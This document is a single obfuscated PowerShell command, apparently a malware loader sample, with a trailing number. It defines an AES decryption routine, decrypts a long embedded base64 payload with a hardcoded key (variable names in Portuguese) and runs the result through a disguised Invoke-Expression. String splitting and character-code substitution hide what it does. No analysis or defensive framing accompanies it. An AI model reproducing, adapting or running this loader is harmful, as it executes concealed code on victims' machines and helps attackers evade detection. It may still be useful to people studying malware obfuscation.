powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIQz4s3jZKq8HKCm5Rvw4bJG+TjuDH4PaRcKQnB98jPoj+kwprT9X724J9e0vbxSH9zH7q0Q0T3ZEgIMi1ACQjVGiJAOwQsY34IZXTd8Dl0KWVeAA4v61JteG0VS4WxU/c0tkpJ1LUGb4M8wCk0LWePTa+SLHtjep//fDzCPTErLqoiRtKO9ILfuOKh+bsIbfGoqZEBiOz3UWkJl9uyBluW56cGFdgH4LtgmMkBPWyDJZutwRiJYq21xFwEiZ0bBKrGtopF0upGXcTAhzcU04UrChnK4x/UADw6BGmgDjtS52Buz/jeGcLEI/5pZLAHbpjdeONQaZG2z7r8b8R2vmPn0LiYn3Y4to4EjHwbrqj6Rsn4P9glfnt4a7rxGKVGg3RqWpqmtK9W2jOvm1AMk3T9FpXnv1SU7s297P2NWXamBeGgoB3imuJh79KyVZEGSslneT1TNKaTCM7wNBO7wUVy4n6GHPXaprFgopyUFJEj3x8uYpjJHtVoFu+sM04Z+bX3p6jNBL1MdkHLKRXTGTYM6y6txlcpWdiEu73Xoe484HX9AVvt6jK7BBlNzpmHY9mgl1w5wG8QVR6BuLDmPr6IaFdfOM5JFVxgO6k8JuKSb7nvigjJAtVL315cwQWuDSE1HzlNSTMZttDMkw6r/F3HIaSVq+XnzjOW/634S+fjwKIOQHzZMfHxZr1WkqSlk5VqzpsuUPfFO3TJscnZVBGoSHiL2+0yi1MOKcBXtm3bp8wYW5WAJw656zr7hrZEAHO0Dl45d82Qfq/oTQJtiq35oFYD8f4J0eQJw38O/6nWtJk8dS3xVefE0Vthh7NiBGk6wv8oKkisYNVSlTpG+QiCZITICP0QfROr6fyXVzvDcEM1fNCvfyFfmkm1xj0tM4rcdSAcrY2UrC12S5+sIe0fE1E1i1PeyPRo8jMRv8qDIVT032No29xv99pt/P5LTDKbfR7FhlaXn2VYEMG8l2QnvzTPyz3i4qbawe72SkP4yu6hqMcQNxn1V1LeQsfgJXiOA2nlGzxlz3mP4hoc+21AeuSho2WWxKkxHJIawBsfIovZ++Y8aFSCd7+WPj8BZTeVAmltAKg+Kc0MGTRHx1WgZyWfygHPbXpzgw+Suz2ez+VzhWvNwFD7zDixFxU81Grt0DBDws18p4H0TR0yn971AH9s0S7bH1I86zfTmrx0AQbm228RDkk6e4QIcGkmcyqk60qhdsbhGscuyJpLrdvMvkbTVGsQgPUmAfe9HFpZLoswZyUybqg9ubmrDf6/EuaCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
2224